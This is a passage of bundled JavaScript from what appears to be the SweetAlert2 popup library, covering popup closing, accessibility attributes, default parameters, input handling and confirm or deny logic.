  2630. swalPromiseReject: /* @__PURE__ */ new WeakMap()
  2631. };
  2632. const setAriaHidden = () => {
  2633. const bodyChildren = Array.from(document.body.children);
  2634. bodyChildren.forEach((el) => {
  2635. if (el === getContainer() || el.contains(getContainer())) {
  2636. return;
  2637. }
  2638. if (el.hasAttribute("aria-hidden")) {
  2639. el.setAttribute("data-previous-aria-hidden", el.getAttribute("aria-hidden"));
  2640. }
  2641. el.setAttribute("aria-hidden", "true");
  2642. });
  2643. };
  2644. const unsetAriaHidden = () => {
  2645. const bodyChildren = Array.from(document.body.children);
  2646. bodyChildren.forEach((el) => {
  2647. if (el.hasAttribute("data-previous-aria-hidden")) {
  2648. el.setAttribute("aria-hidden", el.getAttribute("data-previous-aria-hidden"));
  2649. el.removeAttribute("data-previous-aria-hidden");
  2650. } else {
  2651. el.removeAttribute("aria-hidden");
  2652. }
  2653. });
  2654. };
  2655. const iOSfix = () => {
  2656. const iOS = /iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream || navigator.platform === "MacIntel" && navigator.maxTouchPoints > 1;
  2657. if (iOS && !hasClass(document.body, swalClasses.iosfix)) {
  2658. const offset = document.body.scrollTop;
  2659. document.body.style.top = `${offset * -1}px`;
  2660. addClass(document.body, swalClasses.iosfix);
  2661. lockBodyScroll();
  2662. addBottomPaddingForTallPopups();
  2663. }
  2664. };
  2665. const addBottomPaddingForTallPopups = () => {
  2666. const ua = navigator.userAgent;
  2667. const iOS = !!ua.match(/iPad/i) || !!ua.match(/iPhone/i);
  2668. const webkit = !!ua.match(/WebKit/i);
  2669. const iOSSafari = iOS && webkit && !ua.match(/CriOS/i);
  2670. if (iOSSafari) {
  2671. const bottomPanelHeight = 44;
  2672. if (getPopup().scrollHeight > window.innerHeight - bottomPanelHeight) {
  2673. getContainer().style.paddingBottom = `${bottomPanelHeight}px`;
  2674. }
  2675. }
  2676. };
  2677. const lockBodyScroll = () => {
  2678. const container = getContainer();
  2679. let preventTouchMove;
  2680. container.ontouchstart = (event) => {
  2681. preventTouchMove = shouldPreventTouchMove(event);
  2682. };
  2683. container.ontouchmove = (event) => {
  2684. if (preventTouchMove) {
  2685. event.preventDefault();
  2686. event.stopPropagation();
  2687. }
  2688. };
  2689. };
  2690. const shouldPreventTouchMove = (event) => {
  2691. const target = event.target;
  2692. const container = getContainer();
  2693. if (isStylus(event) || isZoom(event)) {
  2694. return false;
  2695. }
  2696. if (target === container) {
  2697. return true;
  2698. }
  2699. if (!isScrollable(container) && target instanceof HTMLElement && target.tagName !== "INPUT" && target.tagName !== "TEXTAREA" && !(isScrollable(getHtmlContainer()) && getHtmlContainer().contains(target))) {
  2700. return true;
  2701. }
  2702. return false;
  2703. };
  2704. const isStylus = (event) => {
  2705. return event.touches && event.touches.length && event.touches[0].touchType === "stylus";
  2706. };
  2707. const isZoom = (event) => {
  2708. return event.touches && event.touches.length > 1;
  2709. };
  2710. const undoIOSfix = () => {
  2711. if (hasClass(document.body, swalClasses.iosfix)) {
  2712. const offset = parseInt(document.body.style.top, 10);
  2713. removeClass(document.body, swalClasses.iosfix);
  2714. document.body.style.top = "";
  2715. document.body.scrollTop = offset * -1;
  2716. }
  2717. };
  2718. const fixScrollbar = () => {
  2719. if (states.previousBodyPadding !== null) {
  2720. return;
  2721. }
  2722. if (document.body.scrollHeight > window.innerHeight) {
  2723. states.previousBodyPadding = parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right"));
  2724. document.body.style.paddingRight = `${states.previousBodyPadding + measureScrollbar()}px`;
  2725. }
  2726. };
  2727. const undoScrollbar = () => {
  2728. if (states.previousBodyPadding !== null) {
  2729. document.body.style.paddingRight = `${states.previousBodyPadding}px`;
  2730. states.previousBodyPadding = null;
  2731. }
  2732. };
  2733. function removePopupAndResetState(instance, container, returnFocus, didClose) {
  2734. if (isToast()) {
  2735. triggerDidCloseAndDispose(instance, didClose);
  2736. } else {
  2737. restoreActiveElement(returnFocus).then(() => triggerDidCloseAndDispose(instance, didClose));
  2738. removeKeydownHandler(globalState);
  2739. }
  2740. const isSafari = /^((?!chrome|android).)*safari/i.test(navigator.userAgent);
  2741. if (isSafari) {
  2742. container.setAttribute("style", "display:none !important");
  2743. container.removeAttribute("class");
  2744. container.innerHTML = "";
  2745. } else {
  2746. container.remove();
  2747. }
  2748. if (isModal()) {
  2749. undoScrollbar();
  2750. undoIOSfix();
  2751. unsetAriaHidden();
  2752. }
  2753. removeBodyClasses();
  2754. }
  2755. function removeBodyClasses() {
  2756. removeClass([document.documentElement, document.body], [swalClasses.shown, swalClasses["height-auto"], swalClasses["no-backdrop"], swalClasses["toast-shown"]]);
  2757. }
  2758. function close(resolveValue) {
  2759. resolveValue = prepareResolveValue(resolveValue);
  2760. const swalPromiseResolve = privateMethods.swalPromiseResolve.get(this);
  2761. const didClose = triggerClosePopup(this);
  2762. if (this.isAwaitingPromise()) {
  2763. if (!resolveValue.isDismissed) {
  2764. handleAwaitingPromise(this);
  2765. swalPromiseResolve(resolveValue);
  2766. }
  2767. } else if (didClose) {
  2768. swalPromiseResolve(resolveValue);
  2769. }
  2770. }
  2771. function isAwaitingPromise() {
  2772. return !!privateProps.awaitingPromise.get(this);
  2773. }
  2774. const triggerClosePopup = (instance) => {
  2775. const popup = getPopup();
  2776. if (!popup) {
  2777. return false;
  2778. }
  2779. const innerParams = privateProps.innerParams.get(instance);
  2780. if (!innerParams || hasClass(popup, innerParams.hideClass.popup)) {
  2781. return false;
  2782. }
  2783. removeClass(popup, innerParams.showClass.popup);
  2784. addClass(popup, innerParams.hideClass.popup);
  2785. const backdrop = getContainer();
  2786. removeClass(backdrop, innerParams.showClass.backdrop);
  2787. addClass(backdrop, innerParams.hideClass.backdrop);
  2788. handlePopupAnimation(instance, popup, innerParams);
  2789. return true;
  2790. };
  2791. function rejectPromise(error2) {
  2792. const rejectPromise2 = privateMethods.swalPromiseReject.get(this);
  2793. handleAwaitingPromise(this);
  2794. if (rejectPromise2) {
  2795. rejectPromise2(error2);
  2796. }
  2797. }
  2798. const handleAwaitingPromise = (instance) => {
  2799. if (instance.isAwaitingPromise()) {
  2800. privateProps.awaitingPromise.delete(instance);
  2801. if (!privateProps.innerParams.get(instance)) {
  2802. instance._destroy();
  2803. }
  2804. }
  2805. };
  2806. const prepareResolveValue = (resolveValue) => {
  2807. if (typeof resolveValue === "undefined") {
  2808. return {
  2809. isConfirmed: false,
  2810. isDenied: false,
  2811. isDismissed: true
  2812. };
  2813. }
  2814. return Object.assign({
  2815. isConfirmed: false,
  2816. isDenied: false,
  2817. isDismissed: false
  2818. }, resolveValue);
  2819. };
  2820. const handlePopupAnimation = (instance, popup, innerParams) => {
  2821. const container = getContainer();
  2822. const animationIsSupported = animationEndEvent && hasCssAnimation(popup);
  2823. if (typeof innerParams.willClose === "function") {
  2824. innerParams.willClose(popup);
  2825. }
  2826. if (animationIsSupported) {
  2827. animatePopup(instance, popup, container, innerParams.returnFocus, innerParams.didClose);
  2828. } else {
  2829. removePopupAndResetState(instance, container, innerParams.returnFocus, innerParams.didClose);
  2830. }
  2831. };
  2832. const animatePopup = (instance, popup, container, returnFocus, didClose) => {
  2833. globalState.swalCloseEventFinishedCallback = removePopupAndResetState.bind(null, instance, container, returnFocus, didClose);
  2834. popup.addEventListener(animationEndEvent, function(e) {
  2835. if (e.target === popup) {
  2836. globalState.swalCloseEventFinishedCallback();
  2837. delete globalState.swalCloseEventFinishedCallback;
  2838. }
  2839. });
  2840. };
  2841. const triggerDidCloseAndDispose = (instance, didClose) => {
  2842. setTimeout(() => {
  2843. if (typeof didClose === "function") {
  2844. didClose.bind(instance.params)();
  2845. }
  2846. instance._destroy();
  2847. });
  2848. };
  2849. function setButtonsDisabled(instance, buttons, disabled) {
  2850. const domCache = privateProps.domCache.get(instance);
  2851. buttons.forEach((button) => {
  2852. domCache[button].disabled = disabled;
  2853. });
  2854. }
  2855. function setInputDisabled(input, disabled) {
  2856. if (!input) {
  2857. return;
  2858. }
  2859. if (input.type === "radio") {
  2860. const radiosContainer = input.parentNode.parentNode;
  2861. const radios = radiosContainer.querySelectorAll("input");
  2862. for (let i = 0; i < radios.length; i++) {
  2863. radios[i].disabled = disabled;
  2864. }
  2865. } else {
  2866. input.disabled = disabled;
  2867. }
  2868. }
  2869. function enableButtons() {
  2870. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], false);
  2871. }
  2872. function disableButtons() {
  2873. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], true);
  2874. }
  2875. function enableInput() {
  2876. setInputDisabled(this.getInput(), false);
  2877. }
  2878. function disableInput() {
  2879. setInputDisabled(this.getInput(), true);
  2880. }
  2881. function showValidationMessage(error2) {
  2882. const domCache = privateProps.domCache.get(this);
  2883. const params = privateProps.innerParams.get(this);
  2884. setInnerHtml(domCache.validationMessage, error2);
  2885. domCache.validationMessage.className = swalClasses["validation-message"];
  2886. if (params.customClass && params.customClass.validationMessage) {
  2887. addClass(domCache.validationMessage, params.customClass.validationMessage);
  2888. }
  2889. show(domCache.validationMessage);
  2890. const input = this.getInput();
  2891. if (input) {
  2892. input.setAttribute("aria-invalid", true);
  2893. input.setAttribute("aria-describedby", swalClasses["validation-message"]);
  2894. focusInput(input);
  2895. addClass(input, swalClasses.inputerror);
  2896. }
  2897. }
  2898. function resetValidationMessage() {
  2899. const domCache = privateProps.domCache.get(this);
  2900. if (domCache.validationMessage) {
  2901. hide(domCache.validationMessage);
  2902. }
  2903. const input = this.getInput();
  2904. if (input) {
  2905. input.removeAttribute("aria-invalid");
  2906. input.removeAttribute("aria-describedby");
  2907. removeClass(input, swalClasses.inputerror);
  2908. }
  2909. }
  2910. const defaultParams = {
  2911. title: "",
  2912. titleText: "",
  2913. text: "",
  2914. html: "",
  2915. footer: "",
  2916. icon: void 0,
  2917. iconColor: void 0,
  2918. iconHtml: void 0,
  2919. template: void 0,
  2920. toast: false,
  2921. showClass: {
  2922. popup: "swal2-show",
  2923. backdrop: "swal2-backdrop-show",
  2924. icon: "swal2-icon-show"
  2925. },
  2926. hideClass: {
  2927. popup: "swal2-hide",
  2928. backdrop: "swal2-backdrop-hide",
  2929. icon: "swal2-icon-hide"
  2930. },
  2931. customClass: {},
  2932. target: "body",
  2933. color: void 0,
  2934. backdrop: true,
  2935. heightAuto: true,
  2936. allowOutsideClick: true,
  2937. allowEscapeKey: true,
  2938. allowEnterKey: true,
  2939. stopKeydownPropagation: true,
  2940. keydownListenerCapture: false,
  2941. showConfirmButton: true,
  2942. showDenyButton: false,
  2943. showCancelButton: false,
  2944. preConfirm: void 0,
  2945. preDeny: void 0,
  2946. confirmButtonText: "OK",
  2947. confirmButtonAriaLabel: "",
  2948. confirmButtonColor: void 0,
  2949. denyButtonText: "No",
  2950. denyButtonAriaLabel: "",
  2951. denyButtonColor: void 0,
  2952. cancelButtonText: "Cancel",
  2953. cancelButtonAriaLabel: "",
  2954. cancelButtonColor: void 0,
  2955. buttonsStyling: true,
  2956. reverseButtons: false,
  2957. focusConfirm: true,
  2958. focusDeny: false,
  2959. focusCancel: false,
  2960. returnFocus: true,
  2961. showCloseButton: false,
  2962. closeButtonHtml: "&times;",
  2963. closeButtonAriaLabel: "Close this dialog",
  2964. loaderHtml: "",
  2965. showLoaderOnConfirm: false,
  2966. showLoaderOnDeny: false,
  2967. imageUrl: void 0,
  2968. imageWidth: void 0,
  2969. imageHeight: void 0,
  2970. imageAlt: "",
  2971. timer: void 0,
  2972. timerProgressBar: false,
  2973. width: void 0,
  2974. padding: void 0,
  2975. background: void 0,
  2976. input: void 0,
  2977. inputPlaceholder: "",
  2978. inputLabel: "",
  2979. inputValue: "",
  2980. inputOptions: {},
  2981. inputAutoTrim: true,
  2982. inputAttributes: {},
  2983. inputValidator: void 0,
  2984. returnInputValueOnDeny: false,
  2985. validationMessage: void 0,
  2986. grow: false,
  2987. position: "center",
  2988. progressSteps: [],
  2989. currentProgressStep: void 0,
  2990. progressStepsDistance: void 0,
  2991. willOpen: void 0,
  2992. didOpen: void 0,
  2993. didRender: void 0,
  2994. willClose: void 0,
  2995. didClose: void 0,
  2996. didDestroy: void 0,
  2997. scrollbarPadding: true
  2998. };
  2999. const updatableParams = ["allowEscapeKey", "allowOutsideClick", "background", "buttonsStyling", "cancelButtonAriaLabel", "cancelButtonColor", "cancelButtonText", "closeButtonAriaLabel", "closeButtonHtml", "color", "confirmButtonAriaLabel", "confirmButtonColor", "confirmButtonText", "currentProgressStep", "customClass", "denyButtonAriaLabel", "denyButtonColor", "denyButtonText", "didClose", "didDestroy", "footer", "hideClass", "html", "icon", "iconColor", "iconHtml", "imageAlt", "imageHeight", "imageUrl", "imageWidth", "preConfirm", "preDeny", "progressSteps", "returnFocus", "reverseButtons", "showCancelButton", "showCloseButton", "showConfirmButton", "showDenyButton", "text", "title", "titleText", "willClose"];
  3000. const deprecatedParams = {};
  3001. const toastIncompatibleParams = ["allowOutsideClick", "allowEnterKey", "backdrop", "focusConfirm", "focusDeny", "focusCancel", "returnFocus", "heightAuto", "keydownListenerCapture"];
  3002. const isValidParameter = (paramName) => {
  3003. return Object.prototype.hasOwnProperty.call(defaultParams, paramName);
  3004. };
  3005. const isUpdatableParameter = (paramName) => {
  3006. return updatableParams.indexOf(paramName) !== -1;
  3007. };
  3008. const isDeprecatedParameter = (paramName) => {
  3009. return deprecatedParams[paramName];
  3010. };
  3011. const checkIfParamIsValid = (param) => {
  3012. if (!isValidParameter(param)) {
  3013. warn(`Unknown parameter "${param}"`);
  3014. }
  3015. };
  3016. const checkIfToastParamIsValid = (param) => {
  3017. if (toastIncompatibleParams.includes(param)) {
  3018. warn(`The parameter "${param}" is incompatible with toasts`);
  3019. }
  3020. };
  3021. const checkIfParamIsDeprecated = (param) => {
  3022. if (isDeprecatedParameter(param)) {
  3023. warnAboutDeprecation(param, isDeprecatedParameter(param));
  3024. }
  3025. };
  3026. const showWarningsForParams = (params) => {
  3027. if (params.backdrop === false && params.allowOutsideClick) {
  3028. warn('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`');
  3029. }
  3030. for (const param in params) {
  3031. checkIfParamIsValid(param);
  3032. if (params.toast) {
  3033. checkIfToastParamIsValid(param);
  3034. }
  3035. checkIfParamIsDeprecated(param);
  3036. }
  3037. };
  3038. function update(params) {
  3039. const popup = getPopup();
  3040. const innerParams = privateProps.innerParams.get(this);
  3041. if (!popup || hasClass(popup, innerParams.hideClass.popup)) {
  3042. warn(`You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.`);
  3043. return;
  3044. }
  3045. const validUpdatableParams = filterValidParams(params);
  3046. const updatedParams = Object.assign({}, innerParams, validUpdatableParams);
  3047. render(this, updatedParams);
  3048. privateProps.innerParams.set(this, updatedParams);
  3049. Object.defineProperties(this, {
  3050. params: {
  3051. value: Object.assign({}, this.params, params),
  3052. writable: false,
  3053. enumerable: true
  3054. }
  3055. });
  3056. }
  3057. const filterValidParams = (params) => {
  3058. const validUpdatableParams = {};
  3059. Object.keys(params).forEach((param) => {
  3060. if (isUpdatableParameter(param)) {
  3061. validUpdatableParams[param] = params[param];
  3062. } else {
  3063. warn(`Invalid parameter to update: ${param}`);
  3064. }
  3065. });
  3066. return validUpdatableParams;
  3067. };
  3068. function _destroy() {
  3069. const domCache = privateProps.domCache.get(this);
  3070. const innerParams = privateProps.innerParams.get(this);
  3071. if (!innerParams) {
  3072. disposeWeakMaps(this);
  3073. return;
  3074. }
  3075. if (domCache.popup && globalState.swalCloseEventFinishedCallback) {
  3076. globalState.swalCloseEventFinishedCallback();
  3077. delete globalState.swalCloseEventFinishedCallback;
  3078. }
  3079. if (typeof innerParams.didDestroy === "function") {
  3080. innerParams.didDestroy();
  3081. }
  3082. disposeSwal(this);
  3083. }
  3084. const disposeSwal = (instance) => {
  3085. disposeWeakMaps(instance);
  3086. delete instance.params;
  3087. delete globalState.keydownHandler;
  3088. delete globalState.keydownTarget;
  3089. delete globalState.currentInstance;
  3090. };
  3091. const disposeWeakMaps = (instance) => {
  3092. if (instance.isAwaitingPromise()) {
  3093. unsetWeakMaps(privateProps, instance);
  3094. privateProps.awaitingPromise.set(instance, true);
  3095. } else {
  3096. unsetWeakMaps(privateMethods, instance);
  3097. unsetWeakMaps(privateProps, instance);
  3098. }
  3099. };
  3100. const unsetWeakMaps = (obj, instance) => {
  3101. for (const i in obj) {
  3102. obj[i].delete(instance);
  3103. }
  3104. };
  3105. var instanceMethods = /* @__PURE__ */ Object.freeze({
  3106. __proto__: null,
  3107. hideLoading,
  3108. disableLoading: hideLoading,
  3109. getInput,
  3110. close,
  3111. isAwaitingPromise,
  3112. rejectPromise,
  3113. handleAwaitingPromise,
  3114. closePopup: close,
  3115. closeModal: close,
  3116. closeToast: close,
  3117. enableButtons,
  3118. disableButtons,
  3119. enableInput,
  3120. disableInput,
  3121. showValidationMessage,
  3122. resetValidationMessage,
  3123. update,
  3124. _destroy
  3125. });
  3126. const showLoading = (buttonToReplace) => {
  3127. let popup = getPopup();
  3128. if (!popup) {
  3129. new Swal2();
  3130. }
  3131. popup = getPopup();
  3132. const loader = getLoader();
  3133. if (isToast()) {
  3134. hide(getIcon());
  3135. } else {
  3136. replaceButton(popup, buttonToReplace);
  3137. }
  3138. show(loader);
  3139. popup.setAttribute("data-loading", "true");
  3140. popup.setAttribute("aria-busy", "true");
  3141. popup.focus();
  3142. };
  3143. const replaceButton = (popup, buttonToReplace) => {
  3144. const actions = getActions();
  3145. const loader = getLoader();
  3146. if (!buttonToReplace && isVisible$1(getConfirmButton())) {
  3147. buttonToReplace = getConfirmButton();
  3148. }
  3149. show(actions);
  3150. if (buttonToReplace) {
  3151. hide(buttonToReplace);
  3152. loader.setAttribute("data-button-to-replace", buttonToReplace.className);
  3153. }
  3154. loader.parentNode.insertBefore(loader, buttonToReplace);
  3155. addClass([popup, actions], swalClasses.loading);
  3156. };
  3157. const handleInputOptionsAndValue = (instance, params) => {
  3158. if (params.input === "select" || params.input === "radio") {
  3159. handleInputOptions(instance, params);
  3160. } else if (["text", "email", "number", "tel", "textarea"].includes(params.input) && (hasToPromiseFn(params.inputValue) || isPromise(params.inputValue))) {
  3161. showLoading(getConfirmButton());
  3162. handleInputValue(instance, params);
  3163. }
  3164. };
  3165. const getInputValue = (instance, innerParams) => {
  3166. const input = instance.getInput();
  3167. if (!input) {
  3168. return null;
  3169. }
  3170. switch (innerParams.input) {
  3171. case "checkbox":
  3172. return getCheckboxValue(input);
  3173. case "radio":
  3174. return getRadioValue(input);
  3175. case "file":
  3176. return getFileValue(input);
  3177. default:
  3178. return innerParams.inputAutoTrim ? input.value.trim() : input.value;
  3179. }
  3180. };
  3181. const getCheckboxValue = (input) => input.checked ? 1 : 0;
  3182. const getRadioValue = (input) => input.checked ? input.value : null;
  3183. const getFileValue = (input) => input.files.length ? input.getAttribute("multiple") !== null ? input.files : input.files[0] : null;
  3184. const handleInputOptions = (instance, params) => {
  3185. const popup = getPopup();
  3186. const processInputOptions = (inputOptions) => {
  3187. populateInputOptions[params.input](popup, formatInputOptions(inputOptions), params);
  3188. };
  3189. if (hasToPromiseFn(params.inputOptions) || isPromise(params.inputOptions)) {
  3190. showLoading(getConfirmButton());
  3191. asPromise(params.inputOptions).then((inputOptions) => {
  3192. instance.hideLoading();
  3193. processInputOptions(inputOptions);
  3194. });
  3195. } else if (typeof params.inputOptions === "object") {
  3196. processInputOptions(params.inputOptions);
  3197. } else {
  3198. error(`Unexpected type of inputOptions! Expected object, Map or Promise, got ${typeof params.inputOptions}`);
  3199. }
  3200. };
  3201. const handleInputValue = (instance, params) => {
  3202. const input = instance.getInput();
  3203. hide(input);
  3204. asPromise(params.inputValue).then((inputValue) => {
  3205. input.value = params.input === "number" ? `${parseFloat(inputValue) || 0}` : `${inputValue}`;
  3206. show(input);
  3207. input.focus();
  3208. instance.hideLoading();
  3209. }).catch((err) => {
  3210. error(`Error in inputValue promise: ${err}`);
  3211. input.value = "";
  3212. show(input);
  3213. input.focus();
  3214. instance.hideLoading();
  3215. });
  3216. };
  3217. const populateInputOptions = {
  3218. select: (popup, inputOptions, params) => {
  3219. const select = getDirectChildByClass(popup, swalClasses.select);
  3220. const renderOption = (parent, optionLabel, optionValue) => {
  3221. const option = document.createElement("option");
  3222. option.value = optionValue;
  3223. setInnerHtml(option, optionLabel);
  3224. option.selected = isSelected(optionValue, params.inputValue);
  3225. parent.appendChild(option);
  3226. };
  3227. inputOptions.forEach((inputOption) => {
  3228. const optionValue = inputOption[0];
  3229. const optionLabel = inputOption[1];
  3230. if (Array.isArray(optionLabel)) {
  3231. const optgroup = document.createElement("optgroup");
  3232. optgroup.label = optionValue;
  3233. optgroup.disabled = false;
  3234. select.appendChild(optgroup);
  3235. optionLabel.forEach((o) => renderOption(optgroup, o[1], o[0]));
  3236. } else {
  3237. renderOption(select, optionLabel, optionValue);
  3238. }
  3239. });
  3240. select.focus();
  3241. },
  3242. radio: (popup, inputOptions, params) => {
  3243. const radio = getDirectChildByClass(popup, swalClasses.radio);
  3244. inputOptions.forEach((inputOption) => {
  3245. const radioValue = inputOption[0];
  3246. const radioLabel = inputOption[1];
  3247. const radioInput = document.createElement("input");
  3248. const radioLabelElement = document.createElement("label");
  3249. radioInput.type = "radio";
  3250. radioInput.name = swalClasses.radio;
  3251. radioInput.value = radioValue;
  3252. if (isSelected(radioValue, params.inputValue)) {
  3253. radioInput.checked = true;
  3254. }
  3255. const label = document.createElement("span");
  3256. setInnerHtml(label, radioLabel);
  3257. label.className = swalClasses.label;
  3258. radioLabelElement.appendChild(radioInput);
  3259. radioLabelElement.appendChild(label);
  3260. radio.appendChild(radioLabelElement);
  3261. });
  3262. const radios = radio.querySelectorAll("input");
  3263. if (radios.length) {
  3264. radios[0].focus();
  3265. }
  3266. }
  3267. };
  3268. const formatInputOptions = (inputOptions) => {
  3269. const result = [];
  3270. if (typeof Map !== "undefined" && inputOptions instanceof Map) {
  3271. inputOptions.forEach((value, key) => {
  3272. let valueFormatted = value;
  3273. if (typeof valueFormatted === "object") {
  3274. valueFormatted = formatInputOptions(valueFormatted);
  3275. }
  3276. result.push([key, valueFormatted]);
  3277. });
  3278. } else {
  3279. Object.keys(inputOptions).forEach((key) => {
  3280. let valueFormatted = inputOptions[key];
  3281. if (typeof valueFormatted === "object") {
  3282. valueFormatted = formatInputOptions(valueFormatted);
  3283. }
  3284. result.push([key, valueFormatted]);
  3285. });
  3286. }
  3287. return result;
  3288. };
  3289. const isSelected = (optionValue, inputValue) => {
  3290. return inputValue && inputValue.toString() === optionValue.toString();
  3291. };
  3292. const handleConfirmButtonClick = (instance) => {
  3293. const innerParams = privateProps.innerParams.get(instance);
  3294. instance.disableButtons();
  3295. if (innerParams.input) {
  3296. handleConfirmOrDenyWithInput(instance, "confirm");
  3297. } else {
  3298. confirm(instance, true);
  3299. }
  3300. };
  3301. const handleDenyButtonClick = (instance) => {
  3302. const innerParams = privateProps.innerParams.get(instance);
  3303. instance.disableButtons();
  3304. if (innerParams.returnInputValueOnDeny) {
  3305. handleConfirmOrDenyWithInput(instance, "deny");
  3306. } else {
  3307. deny(instance, false);
  3308. }
  3309. };
  3310. const handleCancelButtonClick = (instance, dismissWith) => {
  3311. instance.disableButtons();
  3312. dismissWith(DismissReason.cancel);
  3313. };
  3314. const handleConfirmOrDenyWithInput = (instance, type) => {
  3315. const innerParams = privateProps.innerParams.get(instance);
  3316. if (!innerParams.input) {
  3317. error(`The "input" parameter is needed to be set when using returnInputValueOn${capitalizeFirstLetter(type)}`);
  3318. return;
  3319. }
  3320. const inputValue = getInputValue(instance, innerParams);
  3321. if (innerParams.inputValidator) {
  3322. handleInputValidator(instance, inputValue, type);
  3323. } else if (!instance.getInput().checkValidity()) {
  3324. instance.enableButtons();
  3325. instance.showValidationMessage(innerParams.validationMessage);
  3326. } else if (type === "deny") {
  3327. deny(instance, inputValue);
  3328. } else {
  3329. confirm(instance, inputValue);
  3330. }
  3331. };
  3332. const handleInputValidator = (instance, inputValue, type) => {
  3333. const innerParams = privateProps.innerParams.get(instance);
  3334. instance.disableInput();
  3335. const validationPromise = Promise.resolve().then(() => asPromise(innerParams.inputValidator(inputValue, innerParams.validationMessage)));
  3336. validationPromise.then((validationMessage) => {
  3337. instance.enableButtons();
  3338. instance.enableInput();
  3339. if (validationMessage) {
  3340. instance.showValidationMessage(validationMessage);
  3341. } else if (type === "deny") {
  3342. deny(instance, inputValue);
  3343. } else {
  3344. confirm(instance, inputValue);
  3345. }
  3346. });
  3347. };
  3348. const deny = (instance, value) => {
  3349. const innerParams = privateProps.innerParams.get(instance || void 0);
  3350. if (innerParams.showLoaderOnDeny) {
  3351. showLoading(getDenyButton());
  3352. }
  3353. if (innerParams.preDeny) {
  3354. privateProps.awaitingPromise.set(instance || void 0, true);
  3355. const preDenyPromise = Promise.resolve().then(() => asPromise(innerParams.preDeny(value, innerParams.validationMessage)));
  3356. preDenyPromise.then((preDenyValue) => {
  3357. if (preDenyValue === false) {
  3358. instance.hideLoading();
  3359. handleAwaitingPromise(instance);
  3360. } else {
  3361. instance.close({
  3362. isDenied: true,
  3363. value: typeof preDenyValue === "undefined" ? value : preDenyValue
  3364. });
  3365. }
  3366. }).catch((error2) => rejectWith(instance || void 0, error2));
  3367. } else {
  3368. instance.close({
  3369. isDenied: true,
  3370. value
  3371. });
  3372. }
  3373. };
  3374. const succeedWith = (instance, value) => {
  3375. instance.close({
  3376. isConfirmed: true,
  3377. value
  3378. });
  3379. };
  3380. const rejectWith = (instance, error2) => {
  3381. instance.rejectPromise(error2);
  3382. };
  3383. const confirm = (instance, value) => {
  3384. const innerParams = privateProps.innerParams.get(instance || void 0);
  3385. if (innerParams.showLoaderOnConfirm) {
  3386. showLoading();
  3387. }
  3388. if (innerParams.preConfirm) {
  3389. instance.resetValidationMessage();
  3390. privateProps.awaitingPromise.set(instance || void 0, true);
  3391. const preConfirmPromise = Promise.resolve().then(() => asPromise(innerParams.preConfirm(value, innerParams.validationMessage)));
  3392. preConfirmPromise.then((preConfirmValue) => {
  3393. if (isVisible$1(getValidationMessage()) || preConfirmValue === false) {
  3394. instance.hideLoading();
  3395. handleAwaitingPromise(instance);
  3396. } else {
  3397. succeedWith(instance, typeof preConfirmValue === "undefined" ? value : preConfirmValue);
  3398. }
  3399. }).catch((error2) => rejectWith(instance || void 0, error2));
  3400. } else {
  3401. succeedWith(instance, value);
  3402. }
  3403. };
  3404. const handlePopupClick = (instance, domCache, dismissWith) => {
  3405. const innerParams = privateProps.innerParams.get(instance);
  3406. if (innerParams.toast) {
  3407. handleToastClick(instance, domCache, dismissWith);
  3408. } else {
  3409. handleModalMousedown(domCache);
  3410. handleContainerMousedown(domCache);
  3411. handleModalClick(instance, domCache, dismissWith);
  3412. }
  3413. };
  3414. const handleToastClick = (instance, domCache, dismissWith) => {
  3415. domCache.popup.onclick = () => {
  3416. const innerParams = privateProps.innerParams.get(instance);
  3417. if (innerParams && (isAnyButtonShown(innerParams) || innerParams.timer || innerParams.input)) {
  3418. return;
  3419. }
  3420. dismissWith(DismissReason.close);
  3421. };
  3422. };
  3423. const isAnyButtonShown = (innerParams) => {
  3424. return innerParams.showConfirmButton || innerParams.showDenyButton || innerParams.showCancelButton || innerParams.showCloseButton;
  3425. };
  3426. let ignoreOutsideClick = false;
  3427. const handleModalMousedown = (domCache) => {
  3428. domCache.popup.onmousedown = () => {
  3429. domCache.container.onmouseup = function(e) {
  3430. domCache.container.onmouseup = void 0;
  3431. if (e.target === domCache.container) {
  3432. ignoreOutsideClick = true;
  3433. }
  3434. };
  3435. };
  3436. };
  3437. const handleContainerMousedown = (domCache) => {
  3438. domCache.container.onmousedown = () => {
  3439. domCache.popup.onmouseup = function(e) {
  3440. domCache.popup.onmouseup = void 0;
  3441. if (e.target === domCache.popup || domCache.popup.contains(e.target)) {
  3442. ignoreOutsideClick = true;
  3443. }
  3444. };
  3445. };
  3446. };
  3447. const handleModalClick = (instance, domCache, dismissWith) => {
  3448. domCache.container.onclick = (e) => {
  3449. const innerParams = privateProps.innerParams.get(instance);
  3450. if (ignoreOutsideClick) {
  3451. ignoreOutsideClick = false;
  3452. return;
  3453. }
  3454. if (e.target === domCache.container && callIfFunction(innerParams.allowOutsideClick)) {
  3455. dismissWith(DismissReason.backdrop);
  3456. }
  3457. };
  3458. };
  3459. const isJqueryElement = (elem) => typeof elem === "object" && elem.jquery;
  3460. const isElement = (elem) => elem instanceof Element || isJqueryElement(elem);
  3461. const argsToParams = (args) => {
  3462. const params = {};
  3463. if (typeof args[0] === "object" && !isElement(args[0])) {
  3464. Object.assign(params, args[0]);
  3465. } else {
  3466. ["title", "html", "icon"].forEach((name, index) => {
  3467. const arg = args[index];
  3468. if (typeof arg === "string" || isElement(arg)) {
  3469. params[name] = arg;
  3470. } else if (arg !== void 0) {
  3471. error(`Unexpected type of ${name}! Expected "string" or "Element", got ${typeof arg}`);
  3472. }
  3473. });
  3474. }
  3475. return params;
  3476. };
  3477. function fire() {
  3478. const Swal3 = this;
  3479. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  3480. args[_key] = arguments[_key];
  3481. }
  3482. return new Swal3(...args);
  3483. }
  3484. function mixin(mixinParams) {
  3485. class MixinSwal extends this {
  3486. _main(params, priorityMixinParams) {
  3487. return super._main(params, Object.assign({}, mixinParams, priorityMixinParams));
  3488. }
  3489. }
  3490. return MixinSwal;
  3491. }
  3492. const getTimerLeft = () => {
  3493. return globalState.timeout && globalState.timeout.getTimerLeft();
  3494. };
  3495. const stopTimer = () => {
  3496. if (globalState.timeout) {
  3497. stopTimerProgressBar();
  3498. return globalState.timeout.stop();
  3499. }
  3500. };
